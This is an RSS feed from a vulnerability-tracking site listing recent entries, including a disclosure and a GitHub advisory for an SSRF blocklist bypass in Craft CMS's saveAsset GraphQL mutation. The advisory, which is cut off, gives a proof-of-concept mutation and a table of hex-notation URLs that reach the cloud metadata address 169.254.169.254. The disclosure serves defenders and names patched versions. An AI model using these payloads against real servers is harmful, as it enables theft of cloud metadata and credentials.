<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 17 Oct 2026 05:26:06 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267786</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267786</link>
      <description>EUVD-2026-267786</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267786</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25494</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25494</link>
      <description>&lt;p&gt;Craft is a platform for creating digital experiences.  In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Craft is a platform for creating digital experiences.  In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25494</guid>
    </item>
    <item>
      <title>GHSA-m5r2-8p9x-hp5m — Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-m5r2-8p9x-hp5m</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.&lt;/p&gt;
&lt;p&gt;---
## Summary&lt;/p&gt;
&lt;p&gt;The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.&lt;/p&gt;
&lt;p&gt;---
## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: &amp;#34;http://169.254.0xa9fe/latest/meta-data/&amp;#34;
        filename: &amp;#34;metadata.txt&amp;#34;
    }) {
        id
    }
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved&lt;/p&gt;
&lt;p&gt;### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |&lt;/p&gt;
&lt;p&gt;---
## Technical Details&lt;/p&gt;
&lt;p&gt;**File:** `src…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.&lt;/p&gt;
&lt;p&gt;---
## Summary&lt;/p&gt;
&lt;p&gt;The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.&lt;/p&gt;
&lt;p&gt;---
## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: &amp;#34;http://169.254.0xa9fe/latest/meta-data/&amp;#34;
        filename: &amp;#34;metadata.txt&amp;#34;
    }) {
        id
    }
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved&lt;/p&gt;
&lt;p&gt;### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |&lt;/p&gt;
&lt;p&gt;---
## Technical Details&lt;/p&gt;
&lt;p&gt;**File:** `src…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-m5r2-8p9x-hp5m</guid>
    </item>
  </channel>
</rss>
